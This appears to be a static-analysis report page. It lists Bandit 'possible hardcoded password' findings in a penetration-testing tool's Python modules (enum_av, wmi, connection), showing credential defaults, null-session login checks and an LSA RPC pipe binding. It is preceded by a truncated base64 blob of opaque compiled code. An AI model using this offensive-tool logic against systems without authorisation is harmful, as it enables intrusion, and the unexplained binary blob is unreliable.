MPMzMxIg+woiw1eUAEAg/n/dAzoSO///4MNTVABAP+wAUiDxCjDzMxAU0iD7CBIiwWvaAEASIvaSDkCdBaLgagDAACFBYNXAQB1COgsOQAASIkDSIPEIFvDzMzMQFNIg+wgSIsFs2gBAEiL2kg5AnQWi4GoAwAAhQVPVwEAdQjoVCQAAEiJA0iDxCBbw8zMzEiJXCQIV0iD7CBIi9pIi/lIhcl1CkiLyuhfAAAA6x9Ihdt1B+gb6///6xFIg/vgdi3o7ur//8cADAAAADPASItcJDBIg8QgX8Po2t///4XAdN9Ii8vo7joAAIXAdNNIiw13agEATIvLTIvHM9L/FeGfAABIhcB00evEzMxAU0iD7CBIi9lIg/ngdzxIhcm4AQAAAEgPRNjrFeiK3///hcB0JUiLy+ieOgAAhcB0GUiLDSdqAQBMi8Mz0v8V/J0AAEiFwHTU6w3oWOr//8cADAAAADPASIPEIFvDzMxIg+w4SIlMJCBIiVQkKEiF0nQDSIkKQbEBSI1UJCAzyehjm///SIPEOMPMzEiD7DhIiUwkIEiJVCQoSIXSdANIiQpBsQFIjVQkIDPJ6Due//9Ig8Q4w8zMSIlcJAhIiWwkEEiJdCQYV0iD7FAz7UmL8EiL+kiL2UiF0g+EOAEAAE2FwA+ELwEAAEA4KnURSIXJD4QoAQAAZokp6SABAABJi9FIjUwkMOiIpP//SItEJDiBeAzp/QAAdSJMjQ2/ZgEATIvGSIvXSIvL6F1MAABIi8iDyP+FyQ9IyOsZSDmoOAEAAHUqSIXbdAYPtgdmiQO5AQAAAEA4bCRIdAxIi0QkMIOgqAMAAP2LwemyAAAAD7YPSI1UJDjoxEsAAIXAdFJIi0wkOESLSQhBg/kBfi9BO/F8KotJDIvFSIXbTIvHugkAAAAPlcCJRCQoSIlcJCDo7yQAAEiLTCQ4hcB1D0hjQQhIO/ByPkA4bwF0OItJCOuDi8VBuQEAAABIhdtMi8cPlcCJRCQoQY1RCEiLRCQ4SIlcJCCLSAzopyQAAIXAD4VL////6J7o//+Dyf/HACoAAADpPf///0iJLcFlAQAzwEiLXCRgSItsJGhIi3QkcEiDxFBfw8zMRTPJ6Xj+//9IiVwkCGZEiUwkIFVWV0iL7EiD7GBJi/BIi/pIi9lIhdJ1E02FwHQOSIXJdAIhETPA6b8AAABIhdt0A4MJ/0iB/v///392Fugc6P//uxYAAACJGOjw5v//6ZYAAABIi1VASI1N4Ojqov//SItF6ItIDIH56f0AAHUuD7dVOEyNRShIg2UoAEiLz+hyTAAASIXbdAKJA4P4BA+OvgAAAOjF5///ixjrO0iDuDgBAAAAdW0Pt0U4uf8AAABmO8F2RkiF/3QSSIX2dA1Mi8Yz0kiLz+iKhv//6I3n//+7KgAAAIkYgH34AHQLSItN4IOhqAMAAP2Lw0iLnCSAAAAASIPEYF9eXcNIhf90B0iF9nR3iAdIhdt0RscDAQAAAOs+g2UoAEiNRShIiUQkOEyNRThIg2QkMABBuQEAAACJdCQoM9JIiXwkIOh1IwAAhcB0EYN9KAB1gUiF23QCiQMz2+uC/xWymgAAg/h6D4Vn////SIX/dBJIhfZ0DUyLxjPSSIvP6NqF///o3eb//7siAAAAiRjoseX//+lG////iwXmSQEATIvJg/gFD4yTAAAATIvBuCAAAABBg+AfSSvASffYTRvSTCPQSYvBSTvSTA9C0kkDykw7yXQNgDgAdAhI/8BIO8F180iLyEkryUk7yg+F9AAAAEyLwkiLyE0rwkmD4OBMA8BJO8B0HMXx78nF9XQJxf3XwYXAxfh3dQlIg8EgSTvIdeRJjQQR6wyAOQAPhLEAAABI/8FIO8h17+mkAAAAg/gBD4yFAAAAg+EPuBAAAABIK8FI99lNG9JMI9BJi8FJO9JMD0LSS40MCkw7yXQNgDgAdAhI/8BIO8F180iLyEkryUk7ynVfTIvCSIvITSvCD1fJSYPg8EwDwEk7wHQZZg9vwWYPdAFmD9fAhcB1CUiDwRBJO8h150mNBBHrCIA5AHQgSP/BSDvIdfPrFkiNBBFMO8h0DYA5AHQISP/BSDvIdfNJK8lIi8HDiwWWSAEATIvSTIvBg/gFD4zMAAAAQfbAAXQpSI0EUUiL0Ug7yA+EoQEAADPJZjkKD4SWAQAASIPCAkg70HXu6YgBAACD4R+4IAAAAEgrwUmL0Ej32U0b20wj2EnR6007000PQtozyUuNBFhMO8B0DmY5CnQJSIPCAkg70HXySSvQSNH6STvTD4VFAQAATY0MUEmLwkkrw0iD4OBIA8JJjRRATDvKdB3F8e/JxMF1dQnF/dfBhcDF+Hd1CUmDwSBMO8p140uNBFDrCmZBOQl0CUmDwQJMO8h18UmL0enrAAAAg/gBD4zGAAAAQfbAAXQpSI0EUUmL0Ew7wA+EzAAAADPJZjkKD4TBAAAASIPCAkg70HXu6bMAAACD4Q+4EAAAAEgrwUmL0Ej32U0b20wj2EnR6007000PQtozyUuNBFhMO8B0DmY5CnQJSIPCAkg70HXySSvQSNH6STvTdXRJi8JNjQxQSSvDD1fJSIPg8EgDwkmNFEDrFWYPb8FmQQ91AWYP18CFwHUJSYPBEEw7ynXmS40EUOsOZkE5CQ+EN////0mDwQJMO8h17ekp////SI0EUUmL0Ew7wHQQM8lmOQp0CUiDwgJIO9B18kkr0EjR+kiLwsPMzEyL3EmJWwhJiWsQSYlzGFdBVEFVQVZBV0iD7HCLhCTIAAAARTP2hcBEiDJIi9pMi/lIi5Qk4AAAAEmNS7hBi/5Ji+kPSfhJi/DoQp7//41HC0hjyEg78XcV6Ebj//9BjX4iiTjoG+L//+nfAgAASYsPuv8HAABIi8FIweg0SCPCSDvCD4WBAAAAi4Qk6AAAAEyLzYlEJEhMi8aLhCTYAAAASIvTTIl0JEBJi8+JRCQ4SIuEJMAAAABEiHQkMIl8JChIiUQkIOi1AgAAi/iFwHQIRIgz6XQCAAC6ZQAAAEiLy+jujAAASIXAD4RbAgAAiowk0AAAAIDxAcDhBYDBUIgIRIhwA+lAAgAAuC0AAABIhcl5CIgDSP/DSYsPioQk0AAAAEiNawE0AUG8/wMAAEQPtuhBuTAAAABBi/VIuAAAAAAAAPB/weYFSbr///////8PAIPGB0iFyHUYRIgLSYsHSSPCSPfYTRvkQYHk/gMAAOsDxgMxM9tMjXUBhf91BIrD6xFIi0QkWEiLiPgAAABIiwGKAIhFAE2FFw+GkQAAAEUPt8FIugAAAAAAAA8Ahf9+L0mLB0GKyEgjwkkjwkjT6GZBA8Fmg/g5dgNmA8ZBiAb/z0n/xkjB6gRmQYPA/HnNZkWFwHhKRIuMJOgAAABJi8/o/AYAAEG5MAAAAITAdDBJjU7/ihGNQrqo33UIRIgJSP/J6+9IO810E4D6OXUGQIDGOusDjXIBQIgx6wP+Qf+F/34VRIvHQYrRSYvOi9/oVoD//0wD8zPbOF0ASQ9F7kHA5QVBgMVQRIhtAEyNTQJJiwdIweg0Jf8HAACLyEkrzEiL0XkGSYvMSCvIuCsAAABFM/ZIhdJNi8GNUAIPSMKIRQFBxgEwSIH56AMAAHwvSLjP91PjpZvEIE2NQQFI9+lIwfoHSIvCSMHoP0gD0I1CMEGIAUhpwhj8//9IA8hNO8F1BkiD+WR8Lki4C9ejcD0K16NI9+lIA9FIwfoGSIvCSMHoP0gD0I1CMEGIAEn/wEhrwpxIA8hNO8F1BkiD+Qp8K0i4Z2ZmZmZmZmZI9+lIwfoCSIvCSMHoP0gD0I1CMEGIAEn/wEhrwvZIA8iAwTBBiAhFiHABQYv+RDh0JGh0DEiLTCRQg6GoAwAA/UyNXCRwi8dJi1swSYtrOEmLc0BJi+NBX0FeQV1BXF/DTIvcSYlbCEmJaxBJiXMYV0iD7FCLrCSIAAAASYvwSIuEJIAAAABNjUPoSIsJSIv6RI1VAkn/wo1VAUw70EkPQsJJiUPI6K5KAABFM8BEi8iDfCRALUiL1ouEJKgAAABBD5TAiUQkKDPJRIlMJCCF7UyNTCRAD5/BSCvRSSvQSIP+/0gPRNZJA8hIA89EjUUB6NtEAACFwHQFxgcA6z1Ii4QkoAAAAESLxUSKjCSQAAAASIvWSIlEJDhIi89IjUQkQMZEJDAASIlEJCiLhCSYAAAAiUQkIOgVAAAASItcJGBIi2wkaEiLdCRwSIPEUF/DSIvESIlYCEiJaBBIiXAYSIl4IEFXSIPsUDPASWPYRYXARYr5SIvqSIv5D0/Dg8AJSJhIO9B3Luj43v//uyIAAACJGOjM3f//i8NIi1wkYEiLbCRoSIt0JHBIi3wkeEiDxFBBX8NIi5QkmAAAAEiNTCQw6KmZ//+AvCSQAAAAAEiLtCSIAAAAdCkz0oM+LQ+UwkgD14XbfhpJg8j/Sf/AQoA8AgB19kn/wEiNSgHoiob//4M+LUiL13UHxgctSI1XAYXbfhuKQgGIAkj/wkiLRCQ4SIuI+AAAAEiLAYoIiAoPtowkkAAAAEyNBenEAABIA9pIg/EBSAPZSCv7SIvLSIP9/0iNFC9ID0TV6PjY//+FwA+FpAAAAEiNSwJFhP90A8YDRUiLRgiAODB0V0SLRgRBg+gBeQdB99jGQwEtQYP4ZHwbuB+F61FB9+jB+gWLwsHoHwPQAFMCa8KcRAPAQYP4CnwbuGdmZmZB9+jB+gKLwsHoHwPQAFMDa8L2RAPARABDBIO8JIAAAAACdRSAOTB1D0iNUQFBuAMAAADomoX//4B8JEgAdAxIi0QkMIOgqAMAAP0zwOmO/v//SINkJCAARTPJRTPAM9Izyehj3P//zMzMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsQEiLVCR4SIvZSI1I2E2L8UGL8OgcmP//gHwkcABJY04EdBqNQf87xnUTM8BBgz4tD5TASAPDZsdEAf8wAEGDPi11BsYDLUj/w0ljRgRIg8//hcB/SXUNSYtGCIA4MHUEsAHrAjLAgHwkcAB0CoTAdAZIjWsB6x9IjWsBTIvHSf/AQoA8AwB19kn/wEiL00iLzei6hP//xgMwSIvd6wNIA9iF9n54SI1rAUyLx0n/wEKAPAMAdfZJ/8BIi9NIi83ojIT//0iLRCQoSIuI+AAAAEiLAYoIiAtBi0YEhcB5PvfYgHwkcAB1BDvGfQKL8IX2dBtI/8eAPC8AdfdIY85MjUcBSAPNSIvV6EOE//9MY8a6MAAAAEiLzegje///gHwkOAB0DEiLRCQgg6CoAwAA/UiLXCRQM8BIi2wkWEiLdCRgSIt8JGhIg8RAQV7DzMzMTIvcSYlbCEmJaxBJiXsYQVZIg+xQSIuEJIAAAABJi+hIiwlNjUPoSIv6SYlDyIuUJIgAAAAPV8APEUQkQOiKRgAARIt0JERFM8CDfCRALUSLyIuEJKAAAABIi9VBD5TAiUQkKEkr0ESJTCQgQf/OTI1MJEBIg/3/SY0cOESLhCSIAAAASA9E1UiLy+i0QAAAhcB0CMYHAOmTAAAAi0QkRP/Ig/j8fEY7hCSIAAAAfT1EO/B9DIoDSP/DhMB194hD/kiLhCSoAAAATI1MJEBEi4QkiAAAAEiL1UiJRCQoSIvPxkQkIAHorf3//+tCSIuEJKgAAABIi9VEiowkkAAAAEiLz0SLhCSIAAAASIlEJDhIjUQkQMZEJDABSIlEJCiLhCSYAAAAiUQkIOiV+///SItcJGBIi2wkaEiLfCRwSIPEUEFew8zMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEFWQVdIg+wgSIsZSbz///////8PAEgj2kUPv/BJI9xIi/lBi85FM/9I0+tIi+pFhcl1DGaD+wgPk8DpowAAAOj3VwAAhcB1ckyLB0GLzkmLwEgjxUkjxEjT6GaD+Ah2B7oBAAAA609zBUGK1+tIugEAAACLwkjT4EgrwkkjwEmFxHUzQYP+MHQZScHoBEi4////////AABMI8VMI8BJ0+jrEUi4AAAAAAAA8H9MhcBBD5XAQSLQisLrKD0AAgAAdQxmhdt0o0w5P3ye65M9AAEAAHUMZoXbdJBMOT99i+uAMsBIi1wkQEiLbCRISIt0JFBIi3wkWEiDxCBBX0FeQVzDzMxIi8RIiVgISIloEEiJcBhIiXggQVZIg+xgTYvRSYv4SIvaTIvxSIXSdRjoadn//7sWAAAAiRjoPdj//4vD6cQCAABIhf90402F0nTeTIuMJJAAAABNhcl00YuMJJgAAACD+UF0DY1Bu4P4AnYFRTLb6wNBswFMi4QkqAAAAEH2wAgPheMAAABJixa+/wcAAEiLwkjB6DRII8ZIO8YPhcgAAABIuf///////w8ASIvCQbgMAAAASCPBdQQzyestSLkAAAAAAAAIAEiF0nkKSDvBdQVJi8jrFEiLwkgjwUj32EgbyUiD4fxIg8EISMHqP0iNQgRIO/hzBcYDAOtlSYPK/4TSdBHGAy1I/8PGAwBJO/p0A0j/z0EPttNMjQ1PvgAAg/IBA9KLwkgDwU2LBMFJ/8JDgDwQAHX2M8BJO/oPlsBEjQQCSIvXTAPBSIvLT4sEwegV0///hcAPhcIBAABFM8BBi8DpnAEAAEmL0EGA4CBIweoEg+IBg8oCQfbYG/YjtCS4AAAAg+lBD4Q7AQAAg+kED4T1AAAAg+kBdFyD6QF0F4PpGg+EHwEAAIPpBA+E2QAAAIP5AXRASIuEJLAAAABMi8dIiUQkSEmLzouEJKAAAACJdCRAiVQkOEiL00SIXCQwiUQkKEyJTCQgTYvK6Kv7///pDAEAAIusJKAAAABMjUQkUEmLDg9XwEyJTCQgi9VNi8oPEUQkUOhMQgAARItEJFRFM8mDfCRQLUiL14l0JChBD5TBiUQkIEkr0UQDxUmDyv9JO/pJjQwZSA9E10yNTCRQ6Ik8AACFwHQIxgMA6Z8AAABIi4QksAAAAEyNTCRQSIlEJChEi8VIi9fGRCQgAEiLy+is+f//63hIi4QksAAAAEyLx4l0JEhJi85IiUQkQIuEJKAAAACJVCQ4SIvTRIhcJDCJRCQoTIlMJCBNi8roq/b//+s7SIuEJLAAAABMi8eJdCRISYvOSIlEJECLhCSgAAAAiVQkOEiL00SIXCQwiUQkKEyJTCQgTYvK6O7y//9MjVwkYEmLWxBJi2sYSYtzIEmLeyhJi+NBXsNIg2QkIABFM8lFM8Az0jPJ6GLV///MzEiD7ChIhcl1FehS1v//xwAWAAAA6CfV//+DyP/rA4tBGEiDxCjDzMyDahABD4hCVQAASIsCiAhI/wIPtsHDzMxIiw0hOQEAM8BIg8kBSDkNTFMBAA+UwMNAU0iD7CBIi9m5AgAAAOithv//SDvYdCa5AQAAAOiehv//SDvYdRNIi8voef///4vI6J5VAACFwHUEMsDrArABSIPEIFvDzMxIiVwkCFdIg+wgSIvZ6Kb///+EwA+EoQAAALkBAAAA6FSG//9IO9h1CUiNPdhSAQDrFrkCAAAA6DyG//9IO9h1ekiNPchSAQD/BRpKAQCLQxSpwAQAAHVj8IFLFIICAABIiwdIhcB1ObkAEAAA6Kbq//8zyUiJB+hk1f//SIsHSIXAdR1IjUscx0MQAgAAAEiJSwhIiQvHQyACAAAAsAHrHEiJQwhIiwdIiQPHQxAAEAAAx0MgABAAAOviMsBIi1wkMEiDxCBfw4TJdDRTSIPsIItCFEiL2sHoCagBdB1Ii8roAt7///CBYxR//f//g2MgAEiDYwgASIMjAEiDxCBbw8zMzEiJXCQIV0iD7CBFM9JJi9hMi9pNhcl1LEiFyXUsSIXSdBToldT//7sWAAAAiRjoadP//0SL00iLXCQwQYvCSIPEIF/DSIXJdNlNhdt01E2FyXUGZkSJEevdSIXbdQZmRIkR675IK9lIi9FNi8NJi/lJg/n/dRgPtwQTZokCSI1SAmaFwHQtSYPoAXXq6yUPtwQTZokCSI1SAmaFwHQMSYPoAXQGSIPvAXXkSIX/dQRmRIkSTYXAD4V6////SYP5/3UPZkaJVFn+RY1QUOll////ZkSJEeji0///uyIAAADpSP///0g7ynMEg8j/wzPASDvKD5fAw8zMSIlcJBhVVldBVEFVQVZBV0iNrCRA/v//SIHswAIAAEiLBaY2AQBIM8RIiYW4AQAAM/9IiVQkWEyL4UiF0nUW6IDT//+NXxaJGOhW0v//i8PpNgMAAA9XwEiJOkiLAfMPf0QkMEiLdCQ4TIt0JDBIiXwkQEiFwA+E0AEAAEiNlbABAADHhbABAAAqAD8ASIvIZom9tAEAAEi7AQgAAAAgAADo7hsAAE2LLCRIi8hIhcB1JkyNTCQwRTPAM9JJi83oCAMAAEiLdCQ4RIv4TIt0JDCFwOlhAQAASTvFdB8PtwFmg+gvZoP4LXcJD7fASA+jw3IJSIPpAkk7zXXhD7cRZoP6OnUjSY1FAkg7yHQaTI1MJDBFM8Az0kmLzeisAgAARIv46QQBAABmg+ovZoP6LXcLD7fCSA+jw7ABcgNAisdJK82JfCQoSNH5TI1EJGBI/8FIiXwkIPbYTRv/RTPJTCP5M9JJi81MiXwkSP8VkocAAEiL2EiD+P90k0kr9kjB/gNIiXQkUGaDfYwudRNmOX2OdC1mg32OLnUGZjl9kHQgTI1MJDBNi8dJi9VIjU2M6BcCAABEi/iFwHVnTIt8JEhIjVQkYEiLy/8VPYcAAIXAdbRIi3QkOEyLdCQwSIvWSItEJFBJK9ZIwfoDSDvCdQtIi8v/FQKHAADrQ0gr0EmNDMZMjQ3i/f//QbgIAAAA6OdRAABIi8v/Fd6GAABEi//rE0iLy/8V0IYAAEiLdCQ4TIt0JDBFhf8PhQ4BAABJg8QISYsEJOkn/v//SIvGSIm9sAEAAEkrxkyL10yL+EmL1knB/wNMi89J/8dIjUgHSMHpA0w79kgPR89Ihcl0KkyLGkiDyP9I/8BmQTk8Q3X2Sf/CSIPCCEwD0En/wUw7yXXdTImVsAEAAEG4AgAAAEmL0kmLz+iVu///SIvYSIXAdQZBg8//631KjQz4TYv+SIlMJEhMi+lMO/Z0XkkrxkiJRCRQTYsHSYPM/0n/xGZDOTxgdfZIi5WwAQAASYvFSCvBSf/ESNH4TYvMSCvQSYvN6PH7//+FwA+FlgAAAEiLRCRQSItMJEhOiSw4SYPHCE+NbGUATDv+dapIi0QkWESL/0iJGDPJ6JfQ//9Ii95Ni+ZJK95Ig8MHSMHrA0w79kgPR99Ihdt0FkmLDCTocdD//0j/x02NZCQISDv7depJi87oXND//0GLx0iLjbgBAABIM8zoQmD//0iLnCQQAwAASIHEwAIAAEFfQV5BXUFcX15dw0UzyUiJfCQgRTPAM9Izyej7zv//zMzMSIlcJAhIiWwkEEiJdCQYV0FUQVVBVkFXSIPsMEiDzf9Ji/kz9k2L8EyL6kyL4Uj/xWY5NGl190mLxkj/xUj30Eg76HYiuAwAAABIi1wkYEiLbCRoSIt0JHBIg8QwQV9BXkFdQVxfw02NeAG6AgAAAEwD/UmLz+jRy///SIvYTYX2dBlNi85Ni8VJi9dIi8joqPr//4XAD4XYAAAATSv+So0Mc0mL10yLzU2LxOiL+v//hcAPhbsAAABIi08IRI14CEyLdxBJO84PhZ0AAABIOTd1K0GL141IBOhuy///M8lIiQfoMM///0iLD0iFyXRCSI1BIEiJTwhIiUcQ621MKzdIuP////////9/ScH+A0w78HceSIsPS40sNkiL1U2Lx+hyHQAASIXAdSIzyejmzv//SIvL6N7O//++DAAAADPJ6NLO//+Lxun9/v//So0M8EiJB0iJTwhIjQzoSIlPEDPJ6LHO//9Ii08ISIkZTAF/COvLRTPJSIl0JCBFM8Az0jPJ6HDN///MzMzM6aP6///MzMxIiVwkCEyJTCQgV0iD7CBJi/lJi9iLCuhUEAAAkEiLA0iLCEiLgYgAAABIg8AYSIsNh0sBAEiFyXRvSIXAdF1BuAIAAABFi8hBjVB+DxAADxEBDxBIEA8RSRAPEEAgDxFBIA8QSDAPEUkwDxBAQA8RQUAPEEhQDxFJUA8QQGAPEUFgSAPKDxBIcA8RSfBIA8JJg+kBdbaKAIgB6ycz0kG4AQEAAOizbP//6LbN///HABYAAADoi8z//0G4AgAAAEGNUH5IiwNIiwhIi4GIAAAASAUZAQAASIsN50oBAEiFyXReSIXAdEwPEAAPEQEPEEgQDxFJEA8QQCAPEUEgDxBIMA8RSTAPEEBADxFBQA8QSFAPEUlQDxBAYA8RQWBIA8oPEEhwDxFJ8EgDwkmD6AF1tusdM9JBuAABAADoHGz//+gfzf//xwAWAAAA6PTL//9Ii0MISIsISIsRg8j/8A/BAoP4AXUbSItDCEiLCEiNBSgzAQBIOQF0CEiLCegDzf//SIsDSIsQSItDCEiLCEiLgogAAABIiQFIiwNIiwhIi4GIAAAA8P8Aiw/oFQ8AAEiLXCQwSIPEIF/DzMxAU0iD7ECL2TPSSI1MJCDogIf//4Ml/UkBAACD+/51EscF7kkBAAEAAAD/FdiBAADrFYP7/XUUxwXXSQEAAQAAAP8VuYEAAIvY6xeD+/x1EkiLRCQoxwW5SQEAAQAAAItYDIB8JDgAdAxIi0wkIIOhqAMAAP2Lw0iDxEBbw8zMzEiJXCQISIlsJBBIiXQkGFdIg+wgSI1ZGEiL8b0BAQAASIvLRIvFM9Lo82r//zPASI1+DEiJRgS5BgAAAEiJhiACAAAPt8Bm86tIjT0QMgEASCv+igQfiANI/8NIg+0BdfJIjY4ZAQAAugABAACKBDmIAUj/wUiD6gF18kiLXCQwSItsJDhIi3QkQEiDxCBfw0iJXCQQSIl0JBhVSI2sJID5//9IgeyABwAASIsFfy4BAEgzxEiJhXAGAABIi9mLSQSB+en9AAAPhD0BAABIjVQkUP8VuIAAAIXAD4QqAQAAM8BIjUwkcL4AAQAAiAH/wEj/wTvGcvWKRCRWSI1UJFbGRCRwIOsgRA+2QgEPtsjrCzvOcwzGRAxwIP/BQTvIdvBIg8ICigKEwHXci0METI1EJHCDZCQwAESLzolEJCi6AQAAAEiNhXACAAAzyUiJRCQg6NUTAACDZCRAAEyNTCRwi0MERIvGSIuTIAIAADPJiUQkOEiNRXCJdCQwSIlEJCiJdCQg6I5RAACDZCRAAEyNTCRwi0MEQbgAAgAASIuTIAIAADPJiUQkOEiNhXABAACJdCQwSIlEJCiJdCQg6FVRAAC4AQAAAEiNlXACAAD2AgF0C4BMGBgQikwFb+sV9gICdA6ATBgYIIqMBW8BAADrAjLJiIwYGAEAAEiDwgJI/8BIg+4BdcfrQzPSvgABAACNSgFEjUKfQY1AIIP4GXcKgEwLGBCNQiDrEkGD+Bl3CoBMCxggjULg6wIywIiECxgBAAD/wkj/wTvWcsdIi41wBgAASDPM6ORZ//9MjZwkgAcAAEmLWxhJi3MgSYvjXcPMzMxIiVwkCEyJTCQgTIlEJBhVVldIi+xIg+xAQIryi9lJi9FJi8jolwEAAIvL6Nz8//9Ii00wi/hMi4GIAAAAQTtABHUHM8DpuAAAALkoAgAA6Lje//9Ii9hIhcAPhJUAAABIi0UwugQAAABIi8tIi4CIAAAARI1CfA8QAA8RAQ8QSBAPEUkQDxBAIA8RQSAPEEgwDxFJMA8QQEAPEUFADxBIUA8RSVAPEEBgDxFBYEkDyA8QSHBJA8APEUnwSIPqAXW2DxAADxEBDxBIEA8RSRBIi0AgSIlBIIvPIRNIi9PoEQIAAIv4g/j/dSXoxcj//8cAFgAAAIPP/0iLy+jUyP//i8dIi1wkYEiDxEBfXl3DQIT2dQXo97z//0iLRTBIi4iIAAAAg8j/8A/BAYP4AXUcSItFMEiLiIgAAABIjQWqLgEASDvIdAXoiMj//8cDAQAAAEiLy0iLRTAz20iJiIgAAABIi0Uwi4ioAwAAhQ1aNAEAdYRIjUUwSIlF8EyNTeRIjUU4SIlF+EyNRfCNQwVIjVXoiUXkSI1N4IlF6Oiu+f//QIT2D4RN////SItFOEiLCEiJDSMuAQDpOv///8zMSIlcJBBIiXQkGFdIg+wgSIvySIv5iwXxMwEAhYGoAwAAdBNIg7mQAAAAAHQJSIuZiAAAAOtkuQUAAADowAkAAJBIi5+IAAAASIlcJDBIOx50PkiF23Qig8j/8A/BA4P4AXUWSI0Fwi0BAEiLTCQwSDvIdAXom8f//0iLBkiJh4gAAABIiUQkMPD/AEiLXCQwuQUAAADougkAAEiF23QTSIvDSItcJDhIi3QkQEiDxCBfw+hxwv//kEiD7CiAPaVEAQAAdUxIjQ2gMAEASIkNgUQBAEiNBVItAQBIjQ17LwEASIkFdEQBAEiJDV1EAQDooNn//0yNDWFEAQBMi8CyAbn9////6Db9///GBVdEAQABsAFIg8Qow0iD7Cjon9j//0iLyEiNFTFEAQBIg8Qo6cz+//9IiVwkGFVWV0FUQVVBVkFXSIPsQEiLBa0pAQBIM8RIiUQkOEiL8ujt+f//M9uL+IXAD4RTAgAATI0tCjEBAESL80mLxY1rATk4D4ROAQAARAP1SIPAMEGD/gVy64H/6P0AAA+ELQEAAA+3z/8Vn3sAAIXAD4QcAQAAuOn9AAA7+HUuSIlGBEiJniACAACJXhhmiV4cSI1+DA+3w7kGAAAAZvOrSIvO6H36///p4gEAAEiNVCQgi8//FWt7AACFwA+ExAAAADPSSI1OGEG4AQEAAOjiZP//g3wkIAKJfgRIiZ4gAgAAD4WUAAAASI1MJCY4XCQmdCw4WQF0Jw+2QQEPthE70HcUK8KNegGNFCiATDcYBAP9SCvVdfRIg8ECOBl11EiNRhq5/gAAAIAICEgDxUgrzXX1i04EgemkAwAAdC6D6QR0IIPpDXQSO810BUiLw+siSIsFLawAAOsZSIsFHKwAAOsQSIsFC6wAAOsHSIsF+qsAAEiJhiACAADrAovriW4I6Qv///85HaFCAQAPhfUAAACDyP/p9wAAADPSSI1OGEG4AQEAAOgKZP//QYvGTY1NEEyNPXwvAQBBvgQAAABMjRxAScHjBE0Dy0mL0UE4GXQ+OFoBdDlED7YCD7ZCAUQ7wHckRY1QAUGB+gEBAABzF0GKB0QDxUEIRDIYRAPVD7ZCAUQ7wHbgSIPCAjgadcJJg8EITAP9TCv1da6JfgSJbgiB76QDAAB0KYPvBHQbg+8NdA07/XUiSIsdRqsAAOsZSIsdNasAAOsQSIsdJKsAAOsHSIsdE6sAAEwr3kiJniACAABIjVYMuQYAAABLjTwrD7dEF/hmiQJIjVICSCvNde/pGf7//0iLzugG+P//M8BIi0wkOEgzzOg3VP//SIucJJAAAABIg8RAQV9BXkFdQVxfXl3DzMzMgfk1xAAAdyCNgdQ7//+D+Al3DEG6pwIAAEEPo8JyBYP5KnUvM9LrK4H5mNYAAHQggfmp3gAAdhuB+bPeAAB25IH56P0AAHTcgfnp/QAAdQOD4ghI/yUaeQAAzMxIiVwkCFeNgRgC//9Fi9mD+AFJi9hBD5bCM/+B+TXEAAB3HI2B1Dv//4P4CXcMQbinAgAAQQ+jwHIzg/kq6yaB+ZjWAAB0JoH5qd4AAHYYgfmz3gAAdhaB+ej9AAB0DoH56f0AAHQGD7ryB+sCi9dIi0QkSEWE0kyLTCRATIvATA9Fx0wPRc90B0iFwHQCiThMiUQkSEyLw0yJTCRARYvLSItcJBBfSP8lc3gAAMzMzEiJXCQISIlsJBBIiXQkGFdIg+wg/xVeeAAAM/ZIi9hIhcB0Y0iL6GY5MHQdSIPI/0j/wGY5dEUAdfZIjWxFAEiDxQJmOXUAdeNIK+tIg8UCSNH9SAPtSIvN6PLX//9Ii/hIhcB0EUyLxUiL00iLyOiMav//SIv3M8nomsL//0iLy/8V+XcAAEiLXCQwSIvGSIt0JEBIi2wkOEiDxCBfw8xIiVwkCEiJbCQQSIl0JBhXQVRBVUFWQVdIg+wwM/aL6kyL+UiFyXUU6CvC///HABYAAABIg8j/6bQCAAC6PQAAAEmL/+h7bQAATIvoSIXAD4R6AgAASTvHD4RxAgAATIs1wzgBAEw7NcQ4AQBED7dgAnUSSYvO6KkCAABMi/BIiQWjOAEAuwEAAABNhfYPha8AAABIiwWGOAEAhe10N0iFwHQy6Myw//9IhcAPhB4CAABMizVwOAEATDs1cTgBAHV8SYvO6FsCAABMi/BIiQVVOAEA62hmRYXkD4T/AQAASIXAdTeNUAhIi8vovb3//zPJSIkFKDgBAOh...[truncated] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/enum_av.py line 118
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
117 118 def __init__( 119 self, 120 domain="", 121 username="", 122 password="", 123 remote_name="", 124 k=False, 125 kdcHost="", 126 lmhash="", 127 nthash="", 128 aesKey="", 129 ): 130 self.domain = domain 131 self.username = username 132 self.password = password 133 self.remoteName = remote_name 134 self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]" 135 self.doKerberos = k 136 self.lmhash = lmhash 137 self.nthash = nthash 138 self.aesKey = aesKey 139 self.dcHost = kdcHost 140 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/wmi.py line 64
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
63 rpctansport = transport.DCERPCTransportFactory(r'ncacn_ip_tcp:{0}[{1}]'.format(self.remoteName, str(self.args.port))) 64 rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="") 65 rpctansport.setRemoteHost(self.host) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/protocols/wmi.py line 324
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
323 out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" 324 if self.username == "" and self.password == "": 325 out += "(Default allow anonymous login)" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/connection.py line 81
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
80 self.admin_privs = False 81 self.password = "" 82 self.username = "" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/connection.py line 136
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
135 136 def kerberos_login( 137 self, 138 domain, 139 username, 140 password="", 141 ntlm_hash="", 142 aesKey="", 143 kdcHost="", 144 useCache=False, 145 ): 146 return 147 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/connection.py line 161
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
160 # because of null session 161 if self.login() or (self.username == "" and self.password == ""): 162 if hasattr(self.args, "module") and self.args.module: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /cme/modules/appcmd.py line 74
- Likely real
- Uncertain, 45% confidence
Possible hardcoded password: ''
